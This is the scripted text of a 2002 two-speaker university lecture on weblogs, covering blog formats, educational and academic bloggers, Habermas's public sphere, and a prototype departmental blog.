.Blogs we link.


uk guardian


tony pierce

sgt. stryker


matt welch


drudge report

arts & letters daily

opinion journal

michael duff


nr. 2 pencil

opinion journal

School Reformers

Future Dr. Karlsbjerg

rachel lucas

rebecca blood


andrew sullivan

emmanelle richard

2 blowhards

Mark Wood

Erwin Tang

Laurence Lessig

bradford delong

adult learning

shifted librarian


Damien Penny


INSIDE BLOGGING, by Richard G. Townsend and Bjorn Thomson

1.      Prepared text for Public Lecture, November 20, 2002

2.      Prototype of a Possible Blog for the Department including

3.      (at column left) Sequence of Links in Lecture


HOUSEKEEPING, words atop vertical strip beside print of a Group of 7 painting of a house --


BJORN:  This is my first public lecture

RICHARD:  and this is my last, so we're pitching it to those at mid-career.  Nobody else.

BJORN:  We see weblogs as important makers of meaning.  They take advantage of our educated, opinionated, connected world.  The N.Y. Times is not necessarily the gold standard anymore.

RICHARD:  We're collaborating on this because Bjorn is the first person I met who knew what a blog was.

BJORN:  And Richard is the first person I met who was curious about them.  And soon, if we 'deliver' on our promise on those green sheets announcing this lecture, we'll have each of you to talk with us about (pause, roll of drums)

BOTH:  The Blogosphere.

RICHARD:  In the 45 seconds we've spoken and in every subsequent 45, a brand new blogger joins the Sphere.  For instance, according to the Directory at at 9:20 the other morning, coming aboard were a 30-somethng ad man keen on literature AND a woman who's a theater geek and guitar-player.

BJORN:  At 9:18, titles of the new blogs included "Sophomore Year Sucks" and "Sibling Rivalry: Two Brothers duke it out across an ocean."   We haven't checked them out, but these particular online journals from the States may not be sites for academic discourse. 

RICHARD:  In another Directory, Brigitte Eaton ( links to almost 150 sites just for Educational Research.  That's altogether helpful, but many of the sharpest blogs about education aren't listed.  And to be frank, some on this list strike us as a little shaky.  (POINT TO SIGN THAT READS "ALSO SEE'': ( and 

BJORN:  Yet, and this is important --

RICHARD:  for every hundred blogs of rants, of popular or youth culture, of folk journalism, or whatever else that does NOT interest you,

BJORN:  one or two blogs will catch you with top-notch information, commentary, with links galore.

RICHARD  (POINTS across room TO HORIZONTAL WALKABOUT CHART ON WALL, 65 FEET LONG):  Over there is about all we wanted to say.  Any questions?  Actually it's an effort to retrieve a more innocent and plastic time, when we crawled around the floor, doodling on sheets of paper.  One of my creative students, you have a lot of creative students here, left behind in class last week this doodle like that -- in shocking pink.  Well, today we're letting our inner child out. 

All this is color-coded: green for materials we printed off the computer from blogs.  Green because blogging is a youthful, growing industry and art form.  Shortly, with Hans' help at the projector, we go online to show blogs that you might value.  But at times -- when we want to emphasize the scope and intricacy of blogs -- we point to content on the light green printouts.

BJORN:  We compare blogs on screen with recent printouts from another blogs -- we only have one computer screen here to work with here, and so we have to mix our media.  To reduce chances of making you dizzy, we try to avoid flipping back and forth through websites.  Besides, Carol Fulton of Curriculum here says lecturers need to change gears every so often, lest audiences find them (TWO WORDS) BO-ring.

RICHARD (POINTS TO LEGEND MIDWAY ON VERTICAL STRIP):  Scholars' names and auras, like Habermas and Spence, are in red, scholarly educators in this shocking pink.  (We don't exactly know why shocking pink, except we want to 'shock' you into taking stock.)  Dark blue on the horizontal roll heralds our major metaphors; we're novices and unoriginal at the creating of metaphors, but we hope you find these major metaphors at least 'serviceable.'  While we're at it, we might as well acknowledge that none of our metaphor pictures measure up, not at all: it's hard to find big pictures as emblems for parts of lectures -- so, please, work with us on this?  Light blue identifies the five coming phases of our talk (POINTS TO CIRCLE WITH INTERLOCKING ARROWS FOR ATTENTION, NEED, SATISFACTION, VISUALIZATION, AND CALL TO ACTION).  We picked up those five categories for a talk from a workshop given by Deborah Tatum at AERA some years ago.  As for the black, well, so far we've only found one black blogger who regularly 'does' general or special interest; there must be more, we just didn't find them.  That one is a photo essayist at  To start to compensate for this racial imbalance, we use black for our captions.  About the paper clips every now and then: they're what Roweena used to symbolize electronic links on the broadsheets she prepared announcing this lecture.  We use paper clips to enclose good blogs related to what we're talking about -- but that we don't have time to linger over. 

Now if we're going to catch the spirit of blogs, that horizontal walkabout (POINTS ACROSS THE ROOM) would come at you vertically; you'd read downwards.  The paper then would snake around the room with reverse chronology, like logs for your e-mail, with the newest material at top.  You know, the most recent messages for your inbox are added at top, older ones sliding down your column accordingly.  Again, if this surface were a blog screen, we'd have opened with the newest definitions of blogs.  (READS OUT DEFINITIONS BY ANDREW SULLIVAN and REBECCA BLOOD.)  A blog is typically a daily update and review of part of the world -- as opposed to a homepage which is usually a fairly long-standing depiction of a person's interests, maybe with links to fairly static lists of courses, publications, outlooks, and so forth.  Bloggers offer new links regularly (usually daily, yet some blog almost every waking hourly, or bi-weekly, or weekly). Exploiting the world wide web, blogs enhance the exchanges of globalization.

BJORN:  Up top, as time-conscious bloggers, from a dictionary that Dan Brown gave, not loaned, to Richard, we'd also have the Sphere's shinest new words, like 'memes' (POINTS TO AND READS DEFINITION ON STRIP:  'A UNIT OF CULTURAL INFORMATION THAT IS TRANSFERRED FROM ONE MIND TO ANOTHER').  That's Richard Dawkins's coinage for a societal equivalent to the gene.  Memes (is that how it's pronounced?) are what bloggers think they exchange all the time.  And were this roll of paper blog-like, we'd point to the freshest sets of links, like this one by Sergeant Stryker (  Periodically the Sarge revises the way he categorizes his sources.  A couple days ago, they were likened to Food -- beans, salty nuts, cornstarch, and the like.  Now the same sources are types of beer -- Blatz, Schlitz, Busch, and so on.  

The Oregon cartoonist who runs the other day made-over-his weblog's first page, offering links to his blogging friends, to his fellow-Jewish bloggers, et al.  Interestingly, he categorizes the places he surfs as ranging across the political spectrums, from left to right.  In the middle, he positions a group as 'un-pidgeonholeable.'  Perhaps these non-ideologues take their political stands on a case-by-case rather than a wholesale basis.  You'll notice that he lists many more on the left than on the right.  Initially, the political right stole a march on blogging -- they would say they blog to represent the new majority and to balance the media's leftward tilt.  Of late, however, more left-leaning bloggers are arriving online.

And since this list at also has just been revised, it's current enough to qualify for a top spot as well -- again if this vertical strip were a blog.  As it happens, there's little overlap between the Sarge, Altoon, and Blogsister links.  Sources can be diverse.

            And way at the bottom of this vertical strip, we'd have the oldest definitions, dustiest blogs, most decrepit links, and maybe that line which the blogger and baseball nut at has at the bottom of his archives, "What are you doing down here?" 

            But since the rest of our remarks represent one long linear thought, we move away now from verticality.  



RICHARD (MOVES TO OUTSET OF HORIZONTAL ROLL):  The green sheet that Bjorn's passing out is our rough approximation of a prototype blog for Educational Studies.  Perhaps a variant of it someday could be linked to the Department's homepage.  At the bottom of each separate message, there's a line on who posted it, and when.  Here, as a quick exemplar of a Question and Answer blog, a species that Bjorn invented just for today, we muse whether ESL teaching in Canada is or should be influenced by Americans. (The same musing could be done about blogs -- are their links and contents overly American, marginalizing urgent concerns from less powerful societies? That's the sort of question that Adult Ed's Roger Boshier would ask if he were here and not jetting over the Pacific right now.)   Regan Tyndal, a grad student in English Lit from Calgary, who I sometimes see at breakfast over at (POINTING) St. John's College where I've been staying this term, was the last to join us online for this experiment, and hence his contribution pops up first.  (I yield to no person, by the way, in my respect for St. John's community.) Of course, this handout is merely one of many alternatives for a Department blog.  We'll say more about that at the end of our walk, when we reach there (POINTS TO END OF WALKABOUT).

BJORN:  As we've implied, bloggers live for their links (POINTS BACK TO VERTICAL STRIP WHERE PRINTOUTS APPEAR FROM BLOGSISTERS, ALTOONS, and STRYKER).  They're fundamental attributes of weblogs.  We've embedded six in our prototype.  However, as the host of disclaims (READ VERY QUICKLY ALOUD OFF CHART),  "The links here and on my Blog Page do not necessarily represent my political convictions, my religious beliefs, my general outlook on life, or my personal preferences.  I simply find them interesting."   Bloggers simply are not committed to holding you on their page.  They want to see you off to other's folks' pages.  If they do that well enough, they figure you'll return to the peer group they're hosting.                             

            Besides leading the reader OUT, blogs need to draw the reader IN.  This picture is of former New Republic editor Andrew Sullivan and several other crowd-pleasers.  Their appeal is grounded in the personalities that come through.  Most write well, with immediacy, apparent honesty, and an often-unedited quality that's real.  Still, there can be a hurried quality to their prose, as they quickly react to events.  They're not stylistic powerhouses: they're not (POINTS) Virginia Wolf, Isobel Allende, Tom Stoppard, Rohinton Mistry, or Carol Shields.  Don't count bloggers out as literary divas, though.  This is a new genre, and surely certain bloggers will catch the cadence of the song. 

            Consider how Ronald Reagan, with time, came into his own.  Here he is as a 29-year old, posing for Fine Arts students at UCLA.  Cheesy, eh?   For him, greater work lay ahead.



RICHARD:  Don't you just need to know what these exotic doors are that we're nudging you to walk through?  If it's your first visit to a blog, inside may be spooky.  Is vanity the spur?  Is it mostly hot air?  Is it 19, 20 or 21 century porno? or something worse (or better?).  Or are blogs just links to hot news and gossip, like the, Drudge being an early blogger?  Of course, you're right to be apprehensive: bloggers can be reflective, nuanced, gripping, AND useful, while others can be careless, bland, a drag, AND wary of all authority.  Rudeness characterizes some.  Small wonder that a British political site that invites comments intones: "You can be taken more seriously if you maintain a polite tone."  

BJORN:  Edifices here look old and creaky, yet blogs aren't.  A positively ancient blog is one launched in 1998 -- and still going.  Many, like the Resident Crone of Blogdom (, peter in for a while, then peter out to a page that's empty aside from her archives' list.  (Kailly's son continues with his own blog, though.)

RICHARD:  Blogs have attitude, yet since their spirit is welcoming and generous, let's go inside a general- interest one, the filter that first got me interested in the Blogosphere.  Some 130,000 others also visit Arts and Letters Daily (, six days a week.  Usually the contents of A & L Daily are pithy and smart, although some links lately have seemed comparatively trifling.  And if you check out the archives, you'll find earlier choices and blurbs that somehow seemed more compelling.  It's always a regret to perceive a wobbling in quality among one's icons, eh?

            A & L Daily is the brainwave of Denis Dutton, a prof of English literature and editor of an academic journal of philosophy and literature in Christchurch, New Zealand.  Every day Denis and colleague Traun Ho provide new links to only 3 items across their top.  These are hooks to pull you into articles.  Should you need to stay somewhat in touch with all these fields' trends, disputes, breakthroughs, and so forth, venture into the site occasionally to ponder three readings from today, three from yesterday, three from the day before yesterday.  And if you don't like what Denis and Traun cull, roam through their classy links. 

            Observe how Denis puts weblogs into perspective -- after all, they're somewhere in the pecking order between columnists and radio news, not the first draft of history, maybe more (as one journalist has cracked, "the cocktail napkin doodles of history").  In olden days, that is, last year, when Dennis had a sharp essay to offer, a link to it would be over here.  He's been doing that less of that lately since the Chronicle of Higher Education bought this site a few months ago.  Martin, the editor brother of my son-in-law in Christchurch, tells me -- maybe with a tad of envy -- that Denis made a million bucks, US, when he sold it.  Anyway, with so much globally and topically to cover, it's fairly rare that Denis and Taun hook to a story on K-12 education. 

BJORN:  Variations in format for general-interest be can be seen, for instance, in best of the web collections, like, and in headline blogs (POINT TO PAPER CLIPS SURROUNDING and from Jorn Barger).  Duff also trolls through college newspapers.  Barger, inventor of the term 'weblog,' has Internet resource pages on James Joyce, Iris Murdoch, and other literary masters.

            If you need a starting point on blogs and schools, this could be it.  Joanne Jacobs ( ) calls herself -- rightly -- the mother of ed-bloggers.  Free thinking and linking is indeed what she does.  She and most others offer tie-ins that are frequent, brief, personal.  Sometimes her politically incorrect remarks about vouchers, teachers, university admissions, liberal biases, and the evils of self-esteem, are in your face.  Joanne feels free to go off-topic from education, on the implicit theory that a connection can be made to her ideas about schooling. 

RICHARD:  From her link page, we could open a door to, via one of our field's places that Joanne values,  Yesterday, across these 4.5 pages, these were the articles summoned -- by 7 a.m. Vancouver time -- by Jimmy Kilpatrick in Houston (QUICKLY READS A COUPLE OF HEADLINES).  Any day, we can pull up one or two stories, perhaps gaining an understanding for a class, for a paper, or for shaking our head about in a staff lounge like this.  So it is: at times and if you have the patience, blogs can point you to ideas you didn't know you needed

One of Joanne's favorite reference points is even more focused on schools -- we're moving from a broad to a narrow canvas.  Go to, for informative and analytical posts about news in testing.  Should you need a sense of how a part-time education prof apprehends what's happening in her field, give Nr. 2 Pencil a look. 

A lot of blogs have artsy graphics and flashing animation, but the ones so far are simple and functional, with columns wide enough for easy reads.  Compare Kimberly's format here to Joanne's (POINTS TO WALKABOUT FOR JOANNE'S PAGES), Kimberly's long posts compared to Joanne's shorter blurts, Kimberly's topic-drivenness to Joanne's somewhat broader compass, Kim's seasoned insider views vs. Joanne's pragmatic outsider takes, Kim's showing of herself somewhat obliquely (demurely?) while Joanne is more direct, giving us a real head and shoulders.  Such photos, by the way, are common on blogsites: readers want to know not only what the blogger thinks but also how she or he looks. 

BJORN:  In this weblog (, Will Richardson appraises the practical uses of online logs in teaching, the pedagogical effect of letting students publish, and the potential gains in cooperation.  Aside from providing a service to 25 other educator webloggers, Will -- like others we've named and will name -- and his colleagues may be into blogging as a cause, the important populist cause of giving voice to others (POINTS TO WEBSITES SURROUNDED BY PAPERCLIPS: , and

Simultaneously, these educational bloggers may be cultivating their own writing skills, critical thinking, and reputation.  Maybe reputation and visibility are part of the motivation for websites maintained by at least a dozen Americans who are writing dissertations, in and out of education.  Cheekiest title of a dissertation blog?  In Denmark, a techie has for his masthead (, The Future Dr. Karlsbjerg.


BJORN:  I like that 'door' metaphor, Richard, but let's try a couple others, from others.  Blogging's been called the world's biggest soapbox.   Or how about this? (RICHARD TURNS ON VIDEO CLIP, very low volume, but with surf music in background.)  That's Richard 50 years ago, doing a cameo in Endless Summer I.  A little thinner, then.  Sure, surfing is fun, exhilarating.  Once in a while you catch a perfect wave.  Other times you wipe out.  Blogging is like surfing the net -- but with the central purpose of sharing your opinion: to stay afloat, you use your fingertips and your mouse more than your lower, middle, and upper body.  (RICHARD TURNS OFF VIDEO CLIP)

Most of all, you use your brain.  Metaphor-wise, I prefer to think of the weblog as a brain. Or as one neuron in the very large neural network of blogdom.  A blog may look simple, but it's complex and branches off in several directions, like dendrites of a neuron (HANS, at projector, LINKS TO  Jason Kottke is one of those pioneer bloggers, and he's valued for his clean, lean design.  Yet it is its connection to other neurons in the big goopy mass known as the web that creates something special.  By linking to at least one other source, you're making constant, new neural connections.  This can be compared to the orderly movement of one thought from conception to action.  

But like the brain itself, blogs link to notions that continue, supplement, or even contradict the blogger's own ideas, like (HANS LINKS TO Rachel Lucas, a redneck reactionary who spits bitter invective at the left, yet somehow remains charming and worth linking to (at this point an audience memeber suggests a crush may be in the offing).  When you visit an educational blog and find, say, Joanne Jacobs' perspective on the Iraqi conflict, you yourself following a link to the official site of the Iraqi military, which is a place you might not have otherwise gone.  The link to the Iraqi military takes you on a tour through a side of the web you hadn't thought to go -- for example, to Saddam Hussein's official site.  (That site has been taken down lately.)

Isn't this how the brain works?  An occasionally trustworthy network of tangents and associations?  One thought about pumpkin pie reminds you of Thanksgiving with your parents, which reminds you that you really should call them.  This is a nice feature of the web, I've always thought.  At its worst, this tangential streaming from one thought to the next is a pleasant waste of time.  I guess the brain is guilty of wasting time too, sometimes.  But at its best, like the noggin itself, a blog can take you into odd, engaging corners.  It is steadily making new references, steadily relating one piece of seemingly unconnected fact to another. 

               That may be how creativity works, how new ideas are created.  That is how, in short, you learn. You don't just memorize an orderly procession of facts; you relate them to yourself, you question them. They remind you of things you saw or heard.  And if you're lucky, information turns into patterns which turn into knowledge.  Blogs are like brains in that they don't just spit out grocery lists and baseball stats.  It turns out too that how you write in a blog reveals something about the way that you think, and that might not be as explicit in another medium.  Finally, if you'll forgive another metaphor, blogging leads us down strange, new rabbit holes.  And like Alice, who knows where and when we'll come up again?

RICHARD:  The "About Me" feature of most blogs tells you something about the mindset of the authors.  Here's Kimberly again, for instance, setting forth why she created Number 2 Pencil.  With a new job and new boyfriend, she's been so busy since she began her site that she hasn't had a chance to do what she was hoping for in her first paragraph, tracing the evolution of her mind.  Her standing statement here strikes us as rational and constructive, at odds with the put-down one columnist routinely has for bloggers.  He sees this genre as into (READS OFF, EGO GRATIFICATION, ETC.)

BJORN:  Well, maybe some blogs are petty.  And with online journals by citizen bloggers, there ARE too many pictures of cats.  What at bottom the blogosphere needs, we think, are more dogs.  Let it also be said that blogs represent positive cooperation, giving, etc.  (READS VERY QUICKLY SEVERAL GREEN PRINTOUT HEADLINES, OPPOSITE THE  PEJORATIVE CHARACTERIZATIONS.)

RICHARD:  These pictures of people represent communities, digital communities of interest.  You could look upon blogs as a tool for brainstorming and sharing hunches.  Bloggers figure readers are as 'with it' as they are, if not moreso.  This outlook helps ignite social networks.  And that outlook helps promote a common history of experience.  A sense of fellowship can emerge with bloggers digging each other's posts, and from non-bloggy readers stopping bye to look over shoulders.  Twin spirits develop and discover as they go.  Bloggers may have an heightened sense of their own importance -- they toot their own horns about how they're ahead of conventional media in pursuing news leads.  But they do come together while adding bits to the mix.

BJORN:  The explosion in blogs stems from blogging tools becoming simple.  No more do you have to know HTML programming.  Anyone with access to a computer with a web browser can do weblogs.  (READS FAST:)  Greymatter, Manila, Dairyland, Radioland, Movable Type, and other companies offer almost-free, automated web publishing.  Often they provide server space.  You log into, say,, write your post, press the publish button, and your words are uploaded onto a website you've designed from available templates.  Your software automatically formats and posts entries, archiving older ones onto separate pages.  If you press the 'Blog This' button while viewing someone else's web entry,, for instance, instantly sets up a writing space for you with a link to that page and space for you to type in your comments. 

            Rest assured, you have total editorial control: others can't materially change what you write.  You can't stop others, however, from searching your site, then saluting you or criticizing you outside your blog, over on their blogs.  That is, other specialists, and generalists too, can link their sites to your first post, transplant, and weigh what you said.  A conversation or dispute can grow, sort of like tendrils in a garden, to borrow a metaphor from (she's an effective historian of blogging -- even a young domain like the Blogosphere profits from a careful historian).

            Popularity in the blogging community is earned by links rather than by readers.  Bloggers thus can learn specifically which other bloggers are linking to them, like the chap in the cowboy hat back there.  (POINTS TO PRINT OUT).  Matt's a former journalist in Prague, now newspapering in LA.  He also can see he's the 73rd most-linked-to-blogger, and is the 37th most prolific linker.  We don't think he's a Linkslut, though.  A linkslut is a blogger who tries to prompt others to link to his or her blog in return for linking to theirs.  They're after increased traffic to their sites.  (POINTS)  If you're thinking of doing your own weblog, evaluations are out there of weblog management tools that you can choose among.


RICHARD:  Here, Nobel winner in economics Spence is hailing the Internet for reducing asymmetrical information -- ultimately, we'll all know more through it, he claims.  But for another interpretation, maybe we should go to a different seminal thinker, say, Habermas.  Zip over to -- relevant for software templates, but not for a metaphor to visualize blogging with.  Then we can go to books by the man himself.  Habermas reflects about coffeehouses in the 18th century, where guests could read free newspapers and debate important issues.  Reputedly these coffeeshops were birthplaces of whole sets of ideas that fueled the next generation of thinkers, artists, business leaders.  A compatible metaphor is the French salon of the 19th century.   As Torill Mortensen and Jill Walker resourcefully explain (, Habermas notes in his theory of the public sphere that public conversations took place "in the salons of the fashionable ladies, noble as well as bourgeois, sons of princes and counts associated with sons of watchmakers and shopkeepers."  They were privately owned rooms open to the public.  Either in a coffeehouse or salon, talk transpired between elements of the private sphere and the public authority.  Negotiations of sorts occurred. 

Habermas sees the public sphere of the civil society as now being colonized by politicians and stars who mostly just present themselves and take no highly visible part in such out-and-out public negotiation.  What we have instead is a public, open arena where we rank-and-file types don't have much of a chance to participate with our own ideas. Instead, largely we acclaim, through the safe and tyrannical media, antics of the real actors with the real high status.  Blogs, by this reckoning, can be modern-day salons and coffeehouses, brains situated behind certain privately owned doors, as elements of Habermas' public sphere. 

BJORN:  Bloggers, through personal publications where they may have alternative explanations, may work to expand the public space.  In effect, they make the public more inclusive, less the exclusive reserve of the celebrity few.  They provide different constructions of context, thumbing their noses at what bugs them in the public arena, stroking what pleases them.

RICHARD:  As in that model of Continentalism in our  prototypical Q & A blog for the Department that Bjorn circulated (of US ideas dominating the North American education system), conjure the environment 'out there,' giving rise to stresses of content and time, generating all sorts of reactions.  Strictly in systems terms, bloggers' links can be conceived not only as those reactions but as inputs.  They're inputting into the mysterious black box that's the conversion process of blogging.   Bloggers are not neutral gatekeepers inside the box -- they usually are only too quick to leave you with their own biases.  Thus, let the assorted flow channels, these arrows, inside that box stand for the mental paths, interpretations, constructions, and perspectives of bloggers as they sort out what's happening on the web, in their worlds, in news stories, in transcripts of conversations they can link to, and so forth.  Outputs from that conversion of environmental stresses are blogscripts that is, bloggers' posts, their comments, endorsements, critiques, jibes, self-discoveries, self-indulgences, and self-revelations, poems, predictions, digressions, rants, and fisks (which are types of posts whereby another author's arguments are dissected/dismissed as snappily as Robert Fisk's columns on Afghanistan were panned). 

OK.  To this point, we've nodded at blogging  with 1) educators converting stimuli out there into posts.  Now let's dash through 2) other scholars, 3) other professionals, 4) technological pros, 5) journalists and pundits, and 6) citizens.

BJORN:  Scholars outside education have thematic blogs that may intersect with your academic interests.  They have advanced degrees or top jobs at respected companies, writing focused thoughts regularly on topics they're obsessed with.  Their sites question and problem-find.  This new blogger's short-form CV is not bad, eh?  As bloggers with a strong CV, you too could plant an idea, reflectively dig up past experiences and present work, check others' facts, follow developments in your field, and disseminate your insights.  Not just as a writer or as an editor, as a blogger you'd also be a researcher, filtering masses of information, choosing items that speak to you in your specialty and enable you to offer understandings.  Outside K-12 education, blogging focuses legal scholars like Lawrence Lessig, a biggie at Stanford ( -- for some reason, lawyers have really grabbed onto this part of the net (POINTS).  In conjunction with a LawMeme on civil rights, Yale Law is even sponsoring a conference soon, "Revenge of the Blogs."

RICHARD:  The academy may move gradually, yet blogging is catching on in higher education (, here with a special emphasis on malfeasance on American campuses; in economics with, say,; in poetry and history, in math and politics (, in anthropology and sociology (one intermixes Japanese and American cultural characteristics); in policy studies and English (; in adult learning ( ) and medieval studies.  That even medievalists should be  modern or post-modern bloggers, that impresses me.

BJORN:  Also busy in  the Sphere are sites for professional librarians like, chemists, pharmacists, athletes, marketeers, doctors, science nerds, cooks, and more.   Until Enron, there was a news blog about accountants, but it appears to have sunk.  Brigette, at the Directory Eatonweb, the first site we mentioned, back there when we were taking care of certain housekeeping details, lists other blogs for professionals.

Techies, information architects, and graphic designers are among the most prominent webbloggers.  They made possible this whole easy interactivity to begin with, and they haven't let up.  One site that's enthusiastic is

RICHARD: It's what I call a 'learner blog,' as Brad tries to integrate his experiences in webdesign while studying at Stanford.  He puts class notes online, reports on Bay Area professional conferences he gets to, he shows party pictures of fellow-grad students.  He notes 'Sightings,' when he sees net gurus on streets of downtown Palo Alto.  His archives can be accessed by categories as well as by dates, a cool, but uncommon, indexing.  For a while, his girlfriend Selena, a MBA student also at Stanford, had a blog too called 'I am watching TV.'  Then she publicly complained in her blog that he was spending too much time at the computer.  Whereupon the very occasional references to Selena disappeared from his pages.  Last time I looked, though, she's seemed back in his life.  And in his blog.

BJORN:  Is it a sign of the times that a couple months ago, the school of journalism at UC Berkeley instituted a course on blogging?   In any event, this forementioned diva of a blogger, Andrew Sullivan ( -- with the most visitors per day, about 40,000 -- runs his own bookclub, this month with Christopher Hitchens taking questions and giving sharp answers about his book on Orwell.  Not having an editor, in my opinion Sullivan -- entertaining and edifying as he certainly is -- can get carried away.  As Matt Welch writes, Sullivan would "rather club his opponents on the head like baby seals rather than win them over with persuasion."  So as a reader, you should link to sites that Sullivan provides, to assure yourself that he taking points in context.  Such blog-checking is probably a good tactic generally.

Blogger journalists, when they're close to a story, often pick up on the sorts of matters that more traditional journalists miss.  These sites are adept at exposing and explaining flaws in media coverage.  This is especially true for eyewitness blogs attending to domestic or foreign events.

             9-11 was a watershed for this grassroots reporting by writers involved in a situation, hands-down the best at furnishing thousands with up-to-the-minute accounts around the World Trade Center.  While most newspapers were still running sketchy wire reports and most networks were replaying that crash footage, weblogs provided raw feeds from the street level.  Today, many news bloggers keep probing American reactions to 9-11.  One is Emanuelle Richard (, Matt Welch's wife.  She prepares content for as many as 3000 French readers, with bad translations (as she says) for readers of English.

RICHARD:  According to John Helier, blogs feed off of newspapers, just as newspapers feed off blogs.  Blogs pounce on, and link to, articles in the rest of the media.  For their part, newspaper people tap into blogs for story ideas.

            The Sphere also boasts fiction writers, rule-makers, and humorists like   The last is gifted writer, conservative as stellar humorists can be.

BJORN:  Citizen bloggers are some of the best.  If you have time, catch erudite commentators on culture (like and an elegant blog from Perth, Ontario, one for us up here to be proud of, by Mark Wood (  There's CITIZENS who reflect on their unfolding life, the goods and the bads, ups and downs, as a relapsed Catholic, as Christians or Muslims, as a homeless man, as a cynic or dad, as a space maven or a chef, gardener, knitter, or other hobbyist, as Vancouverites bored on a Saturday night and looking for restaurant recommendations, as ex-celebrities like Wil Wheaton, who was Wesley Crusher of Star Trek, season two.  Away from home, university students use blogs to foster online communities.

RICHARD:  Happily too, there's UBC master's of mechanical engineering student Erwin Tang (  He's one floor away and down the hall from me where I've been staying this term over at St. John's College, and I've never seen him at breakfast.  Erwin, today's an exception, but do you usually rise at noon?   Our general point is that unbeknownst, you too may have a neighbor who's a secret blogger. 

Erwin writes every day, clearly, literately, and perceptively on topics like his life, jobs, books, parents, women friends, films, sports, music, high school reunions, friends who get married, coke dispensers that don't work, professors who are incomprehensible and poorly organized.  Rather than simply being a consumer of the Internet, Erwin is a producer, with at least 60 visitors per day, some of whom he personally doesn't know.  Day in and day out, he's at it, and that takes discipline.  He's got a strong voice, and a unique view of the world.  Soon, Erwin will join Bjorn and me at the table there to help answer questions you may have about blogging. 

BJORN:  Maybe you're saying, this may be all well and good, but to the crunch: is blogging academic?  Can bloggers ever be researchers?  For one quality, the citation process in blogs is as explicit as in academic journals, and even easier: the blogger just links to a book or article's page.  Another similarity is that the work of research includes integrating information already 'out there.'  The blog allows a person or brain to connect dispersed discoveries, to share the found information, and to contribute to discussions about it.  Still, let's be frank: academics may grow tense over blogs, and it's not because of their undignified bloggy name.

RICHARD:  Since we academics primarily write for peers, our research has to contain, besides indications of methods, three components (POINTS TO TEXT ON WALKABOUT): first, references to theory, the big payoff in the academy; second, empirical data that we work-over; and third, fresh reflection on how the data connects with the theory.  Through the Internet, academic communication could be opened up, but typically we academics gain status through traditional channels of refereed publishing.  Academics like Torill and Jill, our Habermas guides, have pondered, might we lose much by exposing our findings or ideas too early, before they're formally published?  To be blunt, via blogging, might our best theories be appropriated?  Outrightly swiped?

BJORN:  Could be.  Refereed academic journals still are needed, although as you know it's likely that over time more of your journals will be circulated electronically.  Yet, as others have pointed out, once posted and archived on the world wide web, your same theories and ideas are 'published' and as such they are better protected than if they were given away at a conference or over a cup of coffee.  As long as the blog preserves the archives and the server remains online, a blog IS a permanent record.

            Then too, you scholars are more, well, authoritative and formal than most bloggers who usually are not lengthy.  We grad students have heard about you professors:  unlike your average blogger, it's said that you can be prone to slowly-prepared arguments, complete in your long-term thoughts, and exhaustive in your intense documentation.  It's also said that your training in the academy hasn't particularly prepared you to reach audiences quite different from yourselves.  Sorting through your notes, you draft, revise, own up to bias, edit, prove, and wrap up your articles, never showing and eventually tossing out your original notes.  Bloggers, on the other hand, are keen in their subjectivity, compressing their reading, thinking, researching, and writing processes all into one possibly hasty and un-rounded post.  As bloggers would be the first to admit, their sties very much are works-in-progress, as bloggers concisely and spontaneously offer their timely, sometimes off-the-cuff and quasi-paranoid notes on topics where they don't have all the facts.  Their 'juice' is that maybe one of their log items moves the needle of somebody awareness. 

RICHARD:  Another reservation that's been noted ( is that professors with real expertise in one field, perhaps like Glenn Reynolds, a law prof at University of Tennessee (, sometimes almost come across on their blogs as experts in national security, war and peace, the recording industry, snipers, school uniforms, separatism in Canada, and more.  For his part, Glenn, likely one of the most active bloggers, posts many entries throughout the day.  Glenn also is resourceful and bright; as he acknowledges, he gets leads from e-mail correspondents.  In that connection, here is a list of bloggers who go so far as to say they were inspired to create their own blogs by Glenn's trail-blazing punditry.  He has been called "the table setter for what gets talked about on talk radio and TV chat shows.” 

But, frankly, for the life of me, I worry that he may be shortchanging his students, at least on occasion.  Is Glenn commenting sufficiently on their term papers?  Is he training them in legal research?  Is he genuinely adding to the knowledge base for future generations?  But maybe I shouldn't worry.  To his credit, Glenn does differentiate between his citizen observations on blog pages and discerning lawyerly remarks on another, more academic site.  And for what it's worth, he reports too that in his annual review, his dean says Glenn "exceeded all expectations."  That dean also likes Glenn's celebrated blog.  In tone, Glenn strikes me as more temperate and wise, by the way, than another lawyer vastly to the right of us, Damien Penny from Newfoundland (  Notice, though, how Damien has constructively pulled together a list of Canadian news bloggers.  Wish  that more Canadians and other non-Americans were sharing their understandings on the Blogosphere.

BJORN:  A saving grace for academics, so that infinitely more than petty vanity is involved, is that the Blogosphere has aspects of peer review.  Bloggers write about concerns of the times, but their writings are instantly monitored and responded to by others as well informed as they are.  The temptation to sloppiness that comes from being an expert speaking to the masses probably is reduced.  If you can't stand feedback, get out of blogging.  The self-referentiality that some complain about bloggers can be seen as an asset too: the opportunity to respond to Brad's comment on Harry's buzz about Suzanne, and so forth makes blogs into something like a seminar.  Also to their merit, links are more like footnotes than one usually has access to in public commentaries.

RICHARD:  While publishing your words is dirt-cheap, no obvious financial accrues from blogging.  Those pitiful tip jars on home pages don't begin to bring in much.  As Erwin well knows, blogging requires a lot of effort for trivial-to-negative fiscal compensation.  Once opportunity costs are taken into account, blogging is costly for anyone.  You can't say that blogger-scholars do it to supplement their university incomes.  Maybe this helps to keep academic blogging more like a labor of love.

On the net, every worker has access to the same technology and audience, and that might scare some of us academics off.  Blogging allows experts in a field to correct others, and to be corrected themselves, almost in real time.  Embarrassing as that may be for certain experts, democratically it releases the voice of the readership.  That's something.


BJORN:  Importantly, there are also 7) Collaborative or Institutional blogs, sites which let a variety of people contribute, as in our Q & A handout about ESL and the Yanks.  Such group blogs could be firewalled as private, intranet and not internet, closed to the public, open only to those with the password.  Rowena's excellent newsletter could become more of a group project on what's new in the Department.  The gung-ho Ed Leadership cohort could have its own blogsite, with different candidates posting comments, providing feedback, building on each others' victories and empathizing during each others' struggles. 

These blogs could go public too, without passwords.  The Greenpeace weblog or could be models for this approach, as might The last is a group blog co-written by a US Army reserved medical logistic unit based in Uzbekistan.  Another exemplar is a wacky (in our liberal/socialist judgment) group of young, sprightly libertarians over in London ( 

            The other day, had an article about business blogs on the intranet, where staff contribute reflections and questions on their work lives.  In the process, the working stiffs could leave behind a feel for an organization better than any mission statement could.

